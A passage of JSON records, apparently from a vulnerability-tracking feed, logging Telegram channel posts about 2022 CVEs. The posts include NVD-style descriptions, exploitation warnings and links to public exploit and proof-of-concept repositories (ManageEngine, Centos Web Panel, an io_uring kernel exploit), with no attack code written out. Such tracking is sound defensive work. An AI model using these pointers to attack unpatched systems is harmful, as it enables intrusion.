\u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0434\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445 \u0430\u0442\u0430\u043a\u0438 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Ruby, \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 Aspera Faspex.\n\n\u041e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435 IBM \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0438 6 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430, \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u0447\u0435\u0442\u0430 18 \u044f\u043d\u0432\u0430\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0432 Faspex 4.4.2 Patch Level 2, \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0437\u0434\u0435\u0441\u044c).", "creation_timestamp": "2023-02-03T13:00:09.000000Z"}, {"uuid": "c0f772df-1357-4acc-a869-ebf2f4339c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/jokerplstaeen/13517", "content": "\u200f\ud83d\udce3 \u0642\u0645 \u0628\u0627\u0643\u062a\u0634\u0627\u0641 \u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0641\u062d\u0635 \u0648 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0644\u062b\u063a\u0631\u0629 CVE-2022-47966 \u200e#ManageEngine  \u062d\u064a\u062b \u064a\u062d\u0627\u0648\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0628\u0634\u0643\u0644 \u0646\u0634\u0637 \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0628\u0639\u062f \u0635\u062f\u0648\u0631 POC\u060c \u0644\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062d\u0648\u0644 \u0637\u0631\u0642 \u0627\u0644\u0627\u0643\u062a\u0634\u0627\u0641\u060c \u0646\u062a\u0634\u0631\u0641 \u0628\u0632\u064a\u0627\u0631\u062a\u0643\u0645 \u0644\u0645\u0646\u0635\u0629 \u200e#CyberCave \u200e#\u0627\u0644\u0627\u0645\u0646_\u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a", "creation_timestamp": "2023-02-21T09:07:34.000000Z"}, {"uuid": "aac31bf8-3d35-4e10-9054-8109e29a79b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47949", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2035", "content": "#exploit\n1. Syncovery For Linux Web-GUI - Authenticated RCE\nhttps://packetstormsecurity.com/files/170245/Syncovery-For-Linux-Web-GUI-Authenticated-Remote-Command-Execution.html\n\n2. CVE-2022-47949:\nENLBufferPwn: Critical RCE flaw affects multiple Nintendo games\nhttps://github.com/PabloMK7/ENLBufferPwn", "creation_timestamp": "2022-12-30T17:26:29.000000Z"}, {"uuid": "32cc7fbd-95c8-4246-bfb6-243d7ff39d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47521", "type": "seen", "source": "https://t.me/crackcodes/1919", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal Vulnerability in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2023-01-07T23:30:10.000000Z"}, {"uuid": "3ea1c2dd-d44f-4396-8a18-a3983982370a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47520", "type": "seen", "source": "https://t.me/crackcodes/1919", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal Vulnerability in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2023-01-07T23:30:10.000000Z"}, {"uuid": "ae2ed0d7-5300-4fdd-b06d-11425874fbc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47518", "type": "seen", "source": "https://t.me/crackcodes/1919", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal Vulnerability in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2023-01-07T23:30:10.000000Z"}, {"uuid": "b6c384be-9805-405f-8e74-fcf446b1cfe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47519", "type": "seen", "source": "https://t.me/crackcodes/1919", "content": "#exploit\n1. CVE-2022-47518, CVE-2022-47519, CVE-2022-47520, CVE-2022-47521:\nRemote DoS in Linux kernel WILC1000 wireless driver\nhttps://securitylab.github.com/advisories/GHSL-2022-112_GHSL-2022-115_wilc1000\n\n2. CVE-2022-2602:\nio_uring kernel exploit\nhttps://github.com/kiks7/CVE-2022-2602-Kernel-Exploit\n\n3. Directory Traversal Vulnerability in Huawei HG255s Products\nhttps://infosecwriteups.com/directory-ttraversal-vulnerability-in-huawei-hg255s-products-dce941a1d015", "creation_timestamp": "2023-01-07T23:30:10.000000Z"}, {"uuid": "c52734de-5848-423c-8d64-a6d1e8a02f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "seen", "source": "https://t.me/crackcodes/2143", "content": "#exploit\n1. The OWASSRF + TabShell exploit chain\nhttps://blog.viettelcybersecurity.com/tabshell-owassrf\n\n2. CVE-2022-3515/CVE-2022-47629:\nInteger overflow bug Libksba\u00a0library (x.509)\nhttps://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md \n\n3. CVE-2022-44877:\nCentos Web Panel 7 Unauthenticated RCE\nhttps://github.com/numanturle/CVE-2022-44877", "creation_timestamp": "2023-01-15T13:34:14.000000Z"}, {"uuid": "482643b8-8956-4682-b327-0c45f38cb0ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2331", "content": "POC Exploit for CVE-2022-47966 affecting multiple ManageEngine products\nhttps://ift.tt/4cZl7zt\n\nSubmitted January 19, 2023 at 06:52PM by scopedsecurity\nvia reddit https://ift.tt/we3bRx4", "creation_timestamp": "2023-01-20T12:12:27.000000Z"}, {"uuid": "cc9f4556-c4a7-47cd-ade3-10a7be62bbc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/jokerplstaeen/12085", "content": "\u200f\ud83d\udce3\u200e#\u062a\u062d\u0630\u064a\u0631 \u0645\u0639 \u0646\u0647\u0627\u064a\u0647 \u0647\u0630\u0627 \u0627\u0644\u0623\u0633\u0628\u0648\u0639 \u0633\u064a\u0642\u0648\u0645 \u0627\u0644\u0628\u0627\u062d\u062b\u064a\u0646 \u0628\u0646\u0634\u0631 POC \u0627\u0644\u062e\u0627\u0635 \u0628\u062b\u063a\u0631\u0629 CVE-2022-47966 \u0648\u0647\u064a \u062e\u0627\u0635\u0629 \u0628 ManageEngine.\n\u200e#\u0644\u0630\u0644\u0643 \u0642\u0645 \u200e#\u0628\u0627\u0644\u062a\u062d\u062f\u064a\u062b \u0639\u0644\u0649 \u0627\u0644\u0641\u0648\u0631 \u2728\u2728\n\u200e#\u0627\u0644\u0627\u0645\u0646_\u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \n\nmanageengine.com/security/advis\u2026\u200e\n\u0648\u0633\u0628\u0642 \u0630\u0643\u0631\u0646\u0627 \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u062a\u063a\u0631\u064a\u062f\u0629 :\n\n\u200f\u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0648\u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0645 \u0644\u0627\u0646\u0638\u0645\u0629 ManageEngine \u0627\u0644\u0645\u062a\u0635\u0644\u0629 \u0628\u0627\u0644\u0627\u0646\u062a\u0631\u0646\u062a \u0648\u0627\u0644\u0645\u0635\u0627\u0628\u0629 \u0628\u062b\u063a\u0631\u0629 CVE-2022-47966.\n\u0645\u0624\u0634\u0631\u0627\u062a \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0648\u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u0641\u0646\u064a\u0629: horizon3.ai/manageengine-c\u2026\u200e\n\u200e#\u0627\u0644\u0627\u0645\u0646_\u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u200e#cybersecurity", "creation_timestamp": "2023-01-17T18:04:17.000000Z"}, {"uuid": "192b7e86-bf76-42ec-a3bb-b3a96b9b1717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47036", "type": "seen", "source": "https://t.me/ctinow/210154", "content": "https://ift.tt/XSP1cCL\nCVE-2022-47036", "creation_timestamp": "2024-03-18T04:21:54.000000Z"}, {"uuid": "e1726419-8601-4f0f-b811-957b61d850ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47037", "type": "seen", "source": "https://t.me/ctinow/210161", "content": "https://ift.tt/UF3Iulz\nCVE-2022-47037", "creation_timestamp": "2024-03-18T04:26:53.000000Z"}, {"uuid": "6cc7e2f6-2035-4f3b-925e-c008516d4cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47036", "type": "seen", "source": "https://t.me/ctinow/210160", "content": "https://ift.tt/XSP1cCL\nCVE-2022-47036", "creation_timestamp": "2024-03-18T04:26:52.000000Z"}, {"uuid": "02426f8a-4886-42b0-9bc9-d40cea0f1b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47037", "type": "seen", "source": "https://t.me/ctinow/210155", "content": "https://ift.tt/UF3Iulz\nCVE-2022-47037", "creation_timestamp": "2024-03-18T04:21:55.000000Z"}, {"uuid": "7e0cc9a6-cf7f-4b53-907e-7bbd16751102", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47072", "type": "seen", "source": "https://t.me/ctinow/191179", "content": "https://ift.tt/Uk73ajA\nCVE-2022-47072 | Sparx Enterprise Architect 16.0.1605 on 32-bit Select Classifier Dialog Box Find sql injection", "creation_timestamp": "2024-02-22T21:21:47.000000Z"}, {"uuid": "3c02775b-3d70-4b62-a345-755a7d677194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47559", "type": "seen", "source": "https://t.me/cibsecurity/70730", "content": "\u203c CVE-2022-47559 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** Lack of device control over web requests in ekorCCP and ekorRCI, allowing an attacker to create customised requests to execute malicious actions when a user is logged in, affecting availability, privacy and integrity.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-19T18:29:31.000000Z"}, {"uuid": "756db499-ed9f-46ca-94c7-c7bfb3eddc66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47561", "type": "seen", "source": "https://t.me/cibsecurity/70784", "content": "\u203c CVE-2022-47561 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** The web application stores credentials in clear text in the \"admin.xml\" file, which can be accessed without logging into the website, which could allow an attacker to obtain credentials related to all users, including admin users, in clear text, and use them to subsequently execute malicious actions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T12:30:11.000000Z"}, {"uuid": "a20209ff-05aa-4d77-ab0e-b9d7e44df6da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47560", "type": "seen", "source": "https://t.me/cibsecurity/70786", "content": "\u203c CVE-2022-47560 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** The lack of web request control on ekorCCP and ekorRCI devices allows a potential attacker to create custom requests to execute malicious actions when a user is logged in.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T12:30:16.000000Z"}, {"uuid": "f01ece42-f0e3-43bd-bfe5-a5beb07bab2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47562", "type": "seen", "source": "https://t.me/cibsecurity/70780", "content": "\u203c CVE-2022-47562 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** Vulnerability in the RCPbind service running on UDP port (111), allowing a remote attacker to create a denial of service (DoS) condition.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T12:30:04.000000Z"}, {"uuid": "edabc1cf-b4df-40d9-b4fe-28e1fddd3ac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47554", "type": "seen", "source": "https://t.me/cibsecurity/70711", "content": "\u203c CVE-2022-47554 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** Exposure of sensitive information in ekorCCP and ekorRCI, potentially allowing a remote attacker to obtain critical information from various .xml files, including .xml files containing credentials, without being authenticated within the web server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-19T16:29:17.000000Z"}, {"uuid": "0bd964ad-37fe-4c08-b200-5bbb5f26a330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47557", "type": "seen", "source": "https://t.me/cibsecurity/70710", "content": "\u203c CVE-2022-47557 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** Vulnerability in ekorCCP and ekorRCI that could allow an attacker with access to the network where the device is located to decrypt the credentials of privileged users, and subsequently gain access to the system to perform malicious actions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-19T16:29:16.000000Z"}, {"uuid": "7229b1ed-2782-450a-9374-ca0bb74ee691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47556", "type": "seen", "source": "https://t.me/cibsecurity/70717", "content": "\u203c CVE-2022-47556 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** Uncontrolled resource consumption in ekorRCI, allowing an attacker with low-privileged access to the web server to send continuous legitimate web requests to a functionality that is not properly validated, in order to cause a denial of service (DoS) on the device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-19T16:29:24.000000Z"}, {"uuid": "94893561-ee02-4dbf-8b7c-7ab35a41303a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47558", "type": "seen", "source": "https://t.me/cibsecurity/70716", "content": "\u203c CVE-2022-47558 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** Devices ekorCCP and ekorRCI are vulnerable due to access to the FTP service using default credentials. Exploitation of this vulnerability can allow an attacker to modify critical files that could allow the creation of new users, delete or modify existing users, modify configuration files, install rootkits or backdoors.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-19T16:29:23.000000Z"}, {"uuid": "64155c2b-4e0e-43b2-8ec4-5e0488fcb20f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47555", "type": "seen", "source": "https://t.me/cibsecurity/70714", "content": "\u203c CVE-2022-47555 \u203c\n\n** UNSUPPPORTED WHEN ASSIGNED ** Operating system command injection in ekorCCP and ekorRCI, which could allow an authenticated attacker to execute commands, create new users with elevated privileges or set up a backdoor.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-19T16:29:21.000000Z"}, {"uuid": "5db5de22-7035-448d-9fa7-eefd69219022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47848", "type": "seen", "source": "https://t.me/cibsecurity/70600", "content": "\u203c CVE-2022-47848 \u203c\n\nAn issue was discovered in Bezeq Vtech NB403-IL version BZ_2.02.07.09.13.01 and Vtech IAD604-IL versions BZ_2.02.07.09.13.01, BZ_2.02.07.09.13T, and BZ_2.02.07.09.09T, allows remote attackers to gain sensitive information via rootDesc.xml page of the UPnP service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-15T20:25:34.000000Z"}, {"uuid": "42c661be-4648-41ab-9b0c-696bbcd7ab37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47631", "type": "seen", "source": "https://t.me/cibsecurity/70584", "content": "\u203c CVE-2022-47631 \u203c\n\nRazer Synapse through 3.7.1209.121307 allows privilege escalation due to an unsafe installation path and improper privilege management. Attackers can place DLLs into %PROGRAMDATA%\\Razer\\Synapse3\\Service\\bin if they do so before the service is installed and if they deny write access for the SYSTEM user. Although the service will not start if it detects malicious DLLs in this directory, attackers can exploit a race condition and replace a valid DLL (i.e., a copy of a legitimate Razer DLL) with a malicious DLL after the service has already checked the file. As a result, local Windows users can abuse the Razer driver installer to obtain administrative privileges on Windows.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-15T02:24:50.000000Z"}, {"uuid": "69118349-23c9-47d7-be7b-e095661af37d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47072", "type": "seen", "source": "https://t.me/ctinow/182244", "content": "https://ift.tt/qYv69Gi\nCVE-2022-47072 Exploit", "creation_timestamp": "2024-02-09T21:17:12.000000Z"}, {"uuid": "a8c5b2d3-091d-4763-ab39-e82f4b7526e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47637", "type": "seen", "source": "https://t.me/cibsecurity/70367", "content": "\u203c CVE-2022-47637 \u203c\n\nThe installer in XAMPP through 8.1.12 allows local users to write to the C:\\xampp directory. Common use cases execute files under C:\\xampp with administrative privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T08:57:32.000000Z"}, {"uuid": "18237d6e-005d-4525-a448-301d4c2d000c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47915", "type": "seen", "source": "https://t.me/ctinow/169752", "content": "https://ift.tt/i3ufoeM\nCVE-2022-47915 | Apple macOS Apple Neural Engine Privilege Escalation", "creation_timestamp": "2024-01-18T14:46:51.000000Z"}, {"uuid": "f3db8a77-d902-4b2a-b1a8-3b30a428ee26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47597", "type": "seen", "source": "https://t.me/ctinow/167899", "content": "https://ift.tt/8rLxy4D\nCVE-2022-47597 | Popup Maker Popup for Opt-Ins, Lead Gen & More Plugin up to 1.17.1 on WordPress information disclosure", "creation_timestamp": "2024-01-13T19:26:50.000000Z"}, {"uuid": "713a0496-841d-4a84-90ed-b03350c8db92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47965", "type": "seen", "source": "https://t.me/ctinow/169785", "content": "https://ift.tt/YGQbiuy\nCVE-2022-47965 | Apple macOS Apple Neural Engine Privilege Escalation", "creation_timestamp": "2024-01-18T15:47:08.000000Z"}, {"uuid": "a46e5cc0-d25b-41c2-99b8-98c0314145e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47532", "type": "seen", "source": "https://t.me/ctinow/162083", "content": "https://ift.tt/GZg8nJV\nCVE-2022-47532 Exploit", "creation_timestamp": "2024-01-02T23:16:48.000000Z"}, {"uuid": "36afd6c8-1b3d-4ba4-8429-dc82f3bfbe98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47531", "type": "seen", "source": "https://t.me/ctinow/158785", "content": "https://ift.tt/fplUvdT\nCVE-2022-47531 | Ericsson Evolved Packet Gateway up to 2.15/3.24 System CLI Privilege Escalation", "creation_timestamp": "2023-12-23T11:41:52.000000Z"}, {"uuid": "b5cb9b83-8918-4ee6-98e0-d6634f0c347e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47909", "type": "seen", "source": "https://t.me/ctinow/157638", "content": "https://ift.tt/xMSNWpi\nCVE-2022-47909 Exploit", "creation_timestamp": "2023-12-21T12:18:52.000000Z"}, {"uuid": "e8b5142e-8875-4333-9401-0fe5512edb91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47002", "type": "seen", "source": "https://t.me/ctinow/157636", "content": "https://ift.tt/hIPO237\nCVE-2022-47002 Exploit", "creation_timestamp": "2023-12-21T12:18:50.000000Z"}, {"uuid": "b4cf0e0d-a240-422f-b784-c0345ac9b3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47532", "type": "seen", "source": "https://t.me/ctinow/158189", "content": "https://ift.tt/krvUJz2\nCVE-2022-47532", "creation_timestamp": "2023-12-22T05:31:57.000000Z"}, {"uuid": "81e17597-8ba8-497e-82af-c72ac562cc6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47350", "type": "seen", "source": "https://t.me/cibsecurity/67862", "content": "\u203c CVE-2022-47350 \u203c\n\nIn camera driver, there is a possible out of bounds read due to a missing bounds check. This could lead to local denial of service with System execution privileges needed\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-07T07:19:08.000000Z"}, {"uuid": "d218cb71-0835-4dcd-9772-144a5c1ffe1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47352", "type": "seen", "source": "https://t.me/cibsecurity/69740", "content": "\u203c CVE-2022-47352 \u203c\n\nIn camera driver, there is a possible out of bounds read due to a missing bounds check. This could lead to local denial of service with System execution privileges needed\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:22:06.000000Z"}, {"uuid": "a4eababf-d301-4e26-b48e-8b7bee05c190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47353", "type": "seen", "source": "https://t.me/cibsecurity/69715", "content": "\u203c CVE-2022-47353 \u203c\n\nIn vdsp device, there is a possible system crash due to improper input validation.This could lead to local denial of service with System execution privileges needed\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:15:58.000000Z"}, {"uuid": "eb03fc9a-65dc-4386-8d4d-be9566a0cbca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47022", "type": "seen", "source": "https://t.me/cibsecurity/68968", "content": "\u203c CVE-2022-47022 \u203c\n\nAn issue was discovered in open-mpi hwloc 2.1.0 allows attackers to cause a denial of service or other unspecified impacts via glibc-cpuset in topology-linux.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-22T22:18:12.000000Z"}, {"uuid": "a1b01a17-c4da-4204-834d-95160429fa56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47169", "type": "seen", "source": "https://t.me/cibsecurity/66898", "content": "\u203c CVE-2022-47169 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in StaxWP Visibility Logic for Elementor plugin <=\u00c2\u00a02.3.4 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-18T16:31:11.000000Z"}, {"uuid": "ed38531a-2ae3-41d0-b332-5d6e7147d478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 